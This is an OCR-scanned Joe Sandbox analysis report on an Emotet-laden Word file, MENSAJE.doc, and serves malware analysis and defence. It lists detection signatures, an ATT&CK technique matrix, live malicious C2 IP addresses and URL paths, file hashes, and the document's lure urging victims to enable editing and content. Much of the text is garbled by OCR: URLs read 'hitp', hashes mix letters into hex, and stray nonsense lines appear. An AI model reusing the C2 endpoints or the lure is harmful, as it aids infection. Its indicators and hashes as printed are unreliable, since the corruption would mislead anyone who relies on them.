@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information
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@ Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Compliance:

Uses new MSVCR DlIs

Binary contains paths to debug symbols

Networking:

L ‘

E-Banking Fraud:

=

Yara detected Emotet

System Summary:

]

Office document tries to c ince victim to disable security protection (e.g. to enable ActiveX or Macros)

Data Obfuscation:

Persistence and Installation Behavior:

]

Hooking and other Techniques for Hiding and Protection:

= ‘]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

el

®

Q |

®

® | ]
o

o,

o1

@
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Yara detected Emotet

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command N
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control E
Valid Windows Path Process Masquerading oS Security Software Remote Archive Exfiltration Encrypted E
Accounts Management Interception  Injection Credential  Discovery Services Collected  Over Other Channel In
Instrumentation Dumping Data Network N
Medium [}
Default Command and Boot or Boot or Logon Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Data from  Exfiltration Ingress Tool E
Accounts Scripting Logon Initialization Evasion Memory Evasion Desktop Removable Over Transfer R
Interpreter Initialization  Scripts Protocol Media Bluetooth C
Scripts
Domain Scripting Logon Script Logon Script Disable or Modify Security Process Discovery SMB/Windows Data from Automated Non- E
Accounts (Windows)  (Windows) Tools Account Admin Shares Network Exfiltration  Application T
Manager Shared Layer L«
Drive Protocol
Local Exploitation for Client Logon Script Logon Script Process NTDS Remote System Distributed Input Scheduled Application S
Accounts Execution (Mac) (Mac) Injection Discovery Component Capture Transfer Layer S
Object Model Protocol
Cloud PowerShell Network Network Logon  Deobfuscate/Decode LSA File and Directory SSH Keylogging Data Fallback M
Accounts Logon Script Script Files or Information Secrets Discovery Transfer Channels D
Size Limits [}
Replication Launchd Rc.common Rc.common Scripting Cached System Information VNC GUI Input  Exfiltration Multiband Ji
Through Domain Discovery Capture Over C2 Communication D
Removable Credentials Channel S
Media
External Scheduled Task Startup Startup Items Hidden Files and DCSync Network Sniffing Windows Web Portal Exfiltration = Commonly R
Remote Items Directories Remote Capture Over Used Port A
Services Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled Obfuscated Files or Proc Network Service Shared Credential Exfiltration Application D
Compromise Scripting Interpreter  Task/Job Task/Job Information Filesystem Scanning Webroot API| Over Layer Protocol In
Hooking Symmetric P
Encrypted
Non-C2
Protocol
Exploit PowerShell At (Linux) At (Linux) Rundll32 letc/passwd System Network Software Data Exfiltration Web Protocols R
Public- and Connections Deployment  Staged Over B
Facing letc/shadow Discovery Tools Asymmetric
Application Encrypted
Non-C2
Protocol

Behavior Graph

Copyright null 2021 Page 9 of 53



Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Hide Legend
Legend:
Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

@+ EBO0C]

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

L@ 2 )

e
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W d9- vl MENSAJE [Compatibility Mode] - Microsoft Word

Home Insert Page Layout References Mailings Review View
& cut = At : — &4 Find ~
2 Cop AT Aa 4 = 4 aasbceDe AaBbcede AaBb( AaBbC AaBb( AaBbcel 8 Replace
B3 Copy B
Paste > i 1 Norr 1 MC & g2 e L e Change
St ot Format painter | B 4 U 7 abe X, X Normal T No : sading Title subtitle Chance [ e
Clipboard & Font Paragraph Editing

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Page:1 of1 | Words: 5,356 | &b ‘

11:21 AM
1/25/2021

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source Detection Scanner Label Link
Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files

Source Detection Scanner Label Link Download
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https://www.virustotal.com/gui/file/0965ec391a19f82dbbcc65557513a1b5a98d0fbec1c3a7f66aa6e32e667fb5a0/detection/f-0965ec391a19f82dbbcc65557513a1b5a98d0fbec1c3a7f66aa6e32e667fb5a0-1611563022
https://www.metadefender.com/#!/results/file/bzIxMDEyNUNWODR4UzVGX1dIOG56Yjd3TTM/regular/analysis

Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link
nadysa.com 5% Virustotal Browse
URLs

Source Detection Scanner Label Link
hitp:/icrl.sectigo.com/SectigopRSATimeStampingCA.crlOt 0% URL Reputation safe
hitp:/icrl.sectigo.com/SectigopRSATimeStampingCA.crlOt 0% URL Reputation safe
hitp:/icrl.sectigo.com/SectigopRSATimeStampingCA.crlOt 0% URL Reputation safe
hitp:/icrl.sectigo.com/SectigopRSATimeStampingCA.crlOt 0% URL Reputation safe
hitp://www.icra.org/vocabulary/. 0% URL Reputation safe
hitp://www.icra.org/vocabulary/. 0% URL Reputation safe
hitp://www.icra.org/vocabulary/. 0% URL Reputation safe
hitp://www.icra.org/vocabulary/. 0% URL Reputation safe

T I EEEER
e e I N

hitp:/focsp.sectigo.com0 0% URL Reputation safe
hitp:/focsp.sectigo.com0 0% URL Reputation safe
hitp:/focsp.sectigo.com0 0% URL Reputation safe
hitp:/focsp.sectigo.com0 0% URL Reputation safe

[ B 1 = ) I ET- N
L < T ) I

[ e = B 1) N =N
[ S e e I

hitp:/icrt.sectigo.com/SectigopRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp:/icrt.sectigo.com/SectigopRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp:/icrt.sectigo.com/SectigopRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp:/icrt.sectigo.com/SectigopRSATimeStampingCA.crt0# 0% URL Reputation safe

[ e e - 1 = ) I N
[ O e - S ) IR
[ - e ) ) IO

hitp://84.232.229.24/v50s5eb3yu/ikc5f/tm3nlkmbtr/xhcy92qsfj3ttmk7xna/nflksugOnonbgij/ 0% Avira URL Cloud safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
o whetemexgwpeonen o AweURCed mavwe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
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https://www.virustotal.com/gui/url/a97224c307fc39adaff1b9452ac374c42479f64ce46359a196ae3f6fdaf62977/detection/u-a97224c307fc39adaff1b9452ac374c42479f64ce46359a196ae3f6fdaf62977-1611529797
https://www.virustotal.com/gui/url/965f864eb258c614a698ca48b90a010442fe81c1d960c10702a48bc0067302ef/detection/u-965f864eb258c614a698ca48b90a010442fe81c1d960c10702a48bc0067302ef-1611529796
https://www.virustotal.com/gui/url/b0c3130baf6a1218b3b3a59490db67771d276df8fb484545eb933fc8e58cf3f9/detection/u-b0c3130baf6a1218b3b3a59490db67771d276df8fb484545eb933fc8e58cf3f9-1611529796
https://www.virustotal.com/gui/url/338c40ba66475d808f473408000da81cffe379457124950c0727e982f6e31802/detection/u-338c40ba66475d808f473408000da81cffe379457124950c0727e982f6e31802-1611529796
https://www.virustotal.com/gui/url/332a12032cf844286bace3b3a36bc8cdd311562232d9b62f0c0f8e58a8f40e34/detection/u-332a12032cf844286bace3b3a36bc8cdd311562232d9b62f0c0f8e58a8f40e34-1611529797

Source Detection Scanner Label Link
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe

hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe

R e e P LG [ S |
e N o -

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation
__

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation
hitp://services.msn.com/svcs/oe/certpage.asp? rundlI32.exe, 00000006.0000000 false high
name=%s&email=%s&&Check 2.2098558453.0000000001E47000.

00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2097747134.000
0000000B37000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2109132236.000000000
0A97000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2121227769.00000000023D700
0.00000002.00000001.sdmp

hitp:/f/www.windows.com/pctv. rundlI32.exe, 0000000A.0000000 false high
2.2129931457.0000000000870000.
00000002.00000001.sdmp

hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crlOt powershell.exe, 00000005.00000 false
002.2094406328.0000000003AE800
0.00000004.00000001.sdmp

URL Reputation: safe unknown
URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

hitp://investor.msn.com rundlI32.exe, 00000006.0000000 false high
2.2098421333.0000000001C60000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2097577001.000
0000000950000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2108996769.000000000
08B0000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2120167840.00000000021F000
0.00000002.00000001.sdmp

hitp:/f/www.msnbc.com/news/ticker.txt rundlI32.exe, 00000006.0000000 false high
2.2098421333.0000000001C60000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2097577001.000
0000000950000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2108996769.000000000
08B0000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2120167840.00000000021F000
0.00000002.00000001.sdmp

hitp://iwww.icra.org/vocabulary/. rundlI32.exe, 00000006.0000000 false
2.2098558453.0000000001E47000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2097747134.000
0000000B37000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2109132236.000000000
0A97000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2121227769.00000000023D700
0.00000002.00000001.sdmp

URL Reputation: safe unknown
URL Reputation: safe
URL Reputation: safe
URL Reputation: safe
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https://www.virustotal.com/gui/url/a97224c307fc39adaff1b9452ac374c42479f64ce46359a196ae3f6fdaf62977/detection/u-a97224c307fc39adaff1b9452ac374c42479f64ce46359a196ae3f6fdaf62977-1611529797
https://www.virustotal.com/gui/url/b0c3130baf6a1218b3b3a59490db67771d276df8fb484545eb933fc8e58cf3f9/detection/u-b0c3130baf6a1218b3b3a59490db67771d276df8fb484545eb933fc8e58cf3f9-1611529796

Name

http://
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

hitp://ocsp.sectigo.com0

hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#

hitp://investor.msn.com/

hitp://https://sectigo.com/CPS0D

hitp/iwww.%s.comPA

hitp://iwindowsmedia.com/redir/services.asp?
WMPFriendly=true

hitp://iwww.hotmail.com/oe

Source Malicious Antivirus Detection Reputation

powershell.exe, 00000005.00000 high
002.2088948505.000000000233000

0.00000002.00000001.sdmp, rund

1132.exe, 00000008.00000002.21

09674521.0000000002820000.0000

0002.00000001.sdmp

false

powershell.exe, 00000005.00000
002.2094406328.0000000003AE800
0.00000004.00000001.sdmp

safe
safe
safe
safe

false URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:

unknown

powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2094406328.0000000003AE800 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

e URL Reputation: safe
rundll32.exe, 00000006.0000000 false high

2.2098421333.0000000001C60000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2097577001.000
0000000950000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2108996769.000000000
08B0000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2120167840.00000000021F000
0.00000002.00000001.sdmp

powershell.exe, 00000005.00000 unknown
002.2094406328.0000000003AE800

0.00000004.00000001.sdmp

e URL Reputation:
e URL Reputation:
e URL Reputation:

powershell.exe, 00000005.00000
002.2088948505.000000000233000
0.00000002.00000001.sdmp, rund
1132.exe, 00000008.00000002.21
09674521.0000000002820000.0000
0002.00000001.sdmp

safe
safe
safe

false e URL Reputation:
e URL Reputation:

e URL Reputation:

low

rundll32.exe, 00000006.0000000 e URL Reputation:
2.2098558453.0000000001E47000. e URL Reputation:
00000002.00000001.sdmp, rundll32.exe, e URL Reputation:
00000007.00000002.2097747134.000

0000000B37000.00000002.0000000

1.sdmp, rundll32.exe, 00000008

.00000002.2109132236.000000000

0A97000.00000002.00000001.sdmp,

rundll32.exe, 00000009.00000

002.2121227769.00000000023D700

0.00000002.00000001.sdmp

safe
safe
safe

false unknown

rundll32.exe, 00000006.0000000
2.2098421333.0000000001C60000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2097577001.000
0000000950000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2108996769.000000000
08B0000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2120167840.00000000021F000
0.00000002.00000001.sdmp, rund
1132.exe, 0000000A.00000002.21
29931457.0000000000870000.0000
0002.00000001.sdmp

false high

Contacted IPs
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https://www.virustotal.com/gui/url/965f864eb258c614a698ca48b90a010442fe81c1d960c10702a48bc0067302ef/detection/u-965f864eb258c614a698ca48b90a010442fe81c1d960c10702a48bc0067302ef-1611529796
https://www.virustotal.com/gui/url/338c40ba66475d808f473408000da81cffe379457124950c0727e982f6e31802/detection/u-338c40ba66475d808f473408000da81cffe379457124950c0727e982f6e31802-1611529796
https://www.virustotal.com/gui/url/332a12032cf844286bace3b3a36bc8cdd311562232d9b62f0c0f8e58a8f40e34/detection/u-332a12032cf844286bace3b3a36bc8cdd311562232d9b62f0c0f8e58a8f40e34-1611529797

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

P Domain Country Flag ASN ASN Name Malicious

217.144.106.11 unknown Iran (ISLAMIC Republic Of) — 204213 NETMIHANIR true

84.232.229.24 unknown Romania T 8708 RCS-RDS73- true
75DrStaicoviciRO

General Information

Joe Sandbox Version: 31.0.0 Emerald

Analysis ID: 343668

Start date: 25.01.2021

Start time: 11:19:52

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 8m 4s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: MENSAJE.doc

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,

Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

Number of analysed new started processes analysed: 20
Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o O o o

Number of injected processes analysed:

Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (VBA)
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winDOC@32/8@1/2
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EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

11:20:36
11:20:36
11:20:50

Joe Sandbox View | Context

IPs

Match
217.144.106.11

84.232.229.24

Copyright null 2021

Type

API Interceptor
API Interceptor
API Interceptor

Associated Sample Name /| URL

e Successful, ratio: 92.3%

e Successful, ratio: 33.6% (good quality ratio 24.1%)
e Quality average: 58.5%
e Quality standard deviation: 37.9%

e Successful, ratio: 86%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
.doc

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer

Show All

e Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe

e TCP Packets have been reduced to 100

e Execution Graph export aborted for target
powershell.exe, PID 2308 because it is empty

e Report size exceeded maximum capacity and may
have missing behavior information.

* Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtQueryAttributesFile calls found.

* Report size getting too big, too many
NtQueryValueKey calls found.

Description
1x Sleep call for process: msg.exe modified
36x Sleep call for process: powershell.exe modified

426x Sleep call for process: rundll32.exe modified

SHA 256 Detection Link Context

Get hash malicious Browse e originpar
t.com/wp-c
ontent/acStl/

Get hash malicious Browse e originpar
t.com/wp-c
ontent/acStl/

Get hash malicious Browse * nadysa.co
m/wp-conte
nt/Almet/

Get hash malicious Browse e originpar
t.com/wp-c
ontent/acStl/

Get hash malicious Browse e 84.232.22
9.24/40hbu
1ld1mxg/gb
xhém/w00gy
5ya8003k/

Get hash malicious Browse e 84.232.22
9.24/yy5pradh/

Get hash malicious Browse e 84.232.22
9.24/6zji6l/
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https://view.joesandbox.com/analysis/257816/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257816/html/none?idtype=webid
https://view.joesandbox.com/analysis/257815/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257815/html/none?idtype=webid
https://view.joesandbox.com/analysis/257667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257667/html/none?idtype=webid
https://view.joesandbox.com/analysis/257568/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257568/html/none?idtype=webid
https://view.joesandbox.com/analysis/257667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257667/html/none?idtype=webid
https://view.joesandbox.com/analysis/257587/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257587/html/none?idtype=webid
https://view.joesandbox.com/analysis/257581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257581/html/none?idtype=webid

Match

Domains

No context

ASN

Match
RCS-RDS73-75DrStaicoviciRO

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

84.232.22
9.24/husn7
nnlfn8qzz4
4/4tein75
sssOk/jsfl
359hk405/r
Im4iik5ild
a/3I3Ipmie
amhaykhkk/

84.232.22
9.24/06p3i
xrlvo/Onwr
6v/oxpejll
ly6ntbn4xn
2/x9kd6gnl
qdqyq/d0lx
oj4a8vrn/

84.232.22
9.24/m4mfr
uuzgu2ajo8
qu7t/bl7kt
qiszlffcg/
x8ofudso7/
loe8ts1I0p
5/nzne9gz6
/76ki44u75
4xsh/

84.232.22
9.24/icmzb
wn9r7yck/w
Ih8myw/

84.232.22
9.24/g4fo4
/gscl70af9
ynvOwo/670
maqf8vrds/
5wmsg3x72r
/mh2sm8tbg
/2jp5a8m51
xtysk3vljn/

84.232.22
9.24/nef4dc
07Infc9omq
/gcs3bgsea
9h/bylc/uj
dixj02m6tw
si0g/5qqr6
ck1fl34uz4
g8l/tckaxs
pqu8pykii6lbl/

Context

84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90

5.2.136.90
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https://view.joesandbox.com/analysis/257564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257564/html/none?idtype=webid
https://view.joesandbox.com/analysis/257541/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257541/html/none?idtype=webid
https://view.joesandbox.com/analysis/257537/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257537/html/none?idtype=webid
https://view.joesandbox.com/analysis/257530/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257530/html/none?idtype=webid
https://view.joesandbox.com/analysis/257528/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257528/html/none?idtype=webid
https://view.joesandbox.com/analysis/257498/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257498/html/none?idtype=webid
https://view.joesandbox.com/analysis/257667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257667/html/none?idtype=webid
https://view.joesandbox.com/analysis/257587/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257587/html/none?idtype=webid
https://view.joesandbox.com/analysis/257581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257581/html/none?idtype=webid
https://view.joesandbox.com/analysis/257564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257564/html/none?idtype=webid
https://view.joesandbox.com/analysis/257541/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257541/html/none?idtype=webid
https://view.joesandbox.com/analysis/257537/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257537/html/none?idtype=webid
https://view.joesandbox.com/analysis/257530/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257530/html/none?idtype=webid
https://view.joesandbox.com/analysis/257528/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257528/html/none?idtype=webid
https://view.joesandbox.com/analysis/257498/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257498/html/none?idtype=webid
https://view.joesandbox.com/analysis/257123/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257123/html/none?idtype=webid
https://view.joesandbox.com/analysis/257115/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257115/html/none?idtype=webid
https://view.joesandbox.com/analysis/255931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255931/html/none?idtype=webid
https://view.joesandbox.com/analysis/255921/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255921/html/none?idtype=webid
https://view.joesandbox.com/analysis/255455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255455/html/none?idtype=webid
https://view.joesandbox.com/analysis/255451/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255451/html/none?idtype=webid
https://view.joesandbox.com/analysis/255390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255390/html/none?idtype=webid
https://view.joesandbox.com/analysis/253749/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253749/html/none?idtype=webid
https://view.joesandbox.com/analysis/253334/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253334/html/none?idtype=webid
https://view.joesandbox.com/analysis/253284/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253284/html/none?idtype=webid

Match

NETMIHANIR

Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 5.2.136.90
Get hash malicious Browse e 217.144.106.11
Get hash malicious Browse e 217.144.106.11
Get hash malicious Browse e 217.144.106.11
Get hash malicious Browse e 217.144.106.11
Get hash malicious Browse e 89.32.249.155
Get hash malicious Browse e 89.32.249.155
Get hash malicious Browse e 89.39.208.218
Get hash malicious Browse e 89.32.250.20

Get hash malicious Browse e 89.42.209.236

=

Get hash malicious Browse e 89.39.208.139
Get hash malicious Browse e 217.144.104.55
Get hash malicious Browse e 217.144.104.55
Get hash malicious Browse e 217.144.104.55
Get hash malicious Browse e 217.144.104.55
Get hash malicious Browse e 217.144.104.55
Get hash malicious Browse e 217.144.104.55
Get hash malicious Browse e 217.144.104.55
Get hash malicious Browse e 217.144.104.55
Get hash malicious Browse e 217.144.104.55
Get hash malicious Browse e 217.144.104.55

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4380F3E0-FFD8-4816-B513-C2DC6937B540}.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

data

dropped

1024

0.05390218305374581

false

3:013lYdn:4Wn

5D4D94EE7E06BBBOAF9584119797B23A
DBB111419C704F116EFA8E72471DD83E86E49677
4826C0D860AF884D3343CAB6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AEB4CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

false

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4A859C42-B329-43DD-B686-F01B0OF0382FA}.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
Copyright null 2021

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE
data

dropped

1536

1.3573187972516119

false

3

if3l/HInl/bl/I/blIBlI/PvvvvvwvvwvFII/IAgsalHISlidHzIbD:
7B7BOFAACO058615FA256F298EF50E033

iifdLloZQc8++IsJe1MzE

532BC89D18E5E4E80A09AF2EE2F1849F0D313BA3
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https://view.joesandbox.com/analysis/253283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253283/html/none?idtype=webid
https://view.joesandbox.com/analysis/257816/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257816/html/none?idtype=webid
https://view.joesandbox.com/analysis/257815/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257815/html/none?idtype=webid
https://view.joesandbox.com/analysis/257667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257667/html/none?idtype=webid
https://view.joesandbox.com/analysis/257568/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257568/html/none?idtype=webid
https://view.joesandbox.com/analysis/257478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257478/html/none?idtype=webid
https://view.joesandbox.com/analysis/257400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257400/html/none?idtype=webid
https://view.joesandbox.com/analysis/252261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252261/html/none?idtype=webid
https://view.joesandbox.com/analysis/247191/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247191/html/none?idtype=webid
https://view.joesandbox.com/analysis/246786/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246786/html/none?idtype=webid
https://view.joesandbox.com/analysis/216012/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216012/html/none?idtype=webid
https://view.joesandbox.com/analysis/199452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199452/html/none?idtype=webid
https://view.joesandbox.com/analysis/199446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199446/html/none?idtype=webid
https://view.joesandbox.com/analysis/199444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199444/html/none?idtype=webid
https://view.joesandbox.com/analysis/199438/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199438/html/none?idtype=webid
https://view.joesandbox.com/analysis/199437/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199437/html/none?idtype=webid
https://view.joesandbox.com/analysis/199434/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199434/html/none?idtype=webid
https://view.joesandbox.com/analysis/199433/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199433/html/none?idtype=webid
https://view.joesandbox.com/analysis/199431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199431/html/none?idtype=webid
https://view.joesandbox.com/analysis/199430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199430/html/none?idtype=webid
https://view.joesandbox.com/analysis/199428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/199428/html/none?idtype=webid

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4A859C42-B329-43DD-B686-F01B0OF0382FA}.tmp

SHA-256:
SHA-512:

Malicious:

Preview:

BF975FC2572A6799BFB7B382A5B60FC5925092E90C23992635E7A4A80E23468C

E1ED55DD9YA3C5D3B36D3762DEODDOE29CF2C1B29BEB84A99158397C6FE7D140F4B542D507016A97F75726102E8929AE64DFEF1233C56258B9FB27FF77B2A4AL
C

false

ol ALDUS. A,

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent MENSAJE.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:12 2020, mtime=Wed Aug 26 14:08:12 2020,
atime=Mon Jan 25 18:20:32 2021, length=171008, window=hide

dropped

1994

4.527931653903523

false

24:8xSZ4Am/XTréN4U8IQieyDv3ga+dM7dD2xSZ4m/XTréN4U8IQieyDv3ga+dM7dV:82/XT+NnIQimPQh22/XT+NnIQimPQ/

ED526E0371646C21736FC4B49050A11D

F4404635521C1880F87EDAB9050515639F75C7AF

14D12A370FCFDF33A2B1729D6410191DF8033C8640D1B49B703117D69323E36F
6654BF24BF6CEB9BD6619C43E8B8IC5AB2239D6E74BE831D765E43F5010B031F727342BA673D142D611B32624A8552507A6743162AA323448370010DD6AF16C8

false
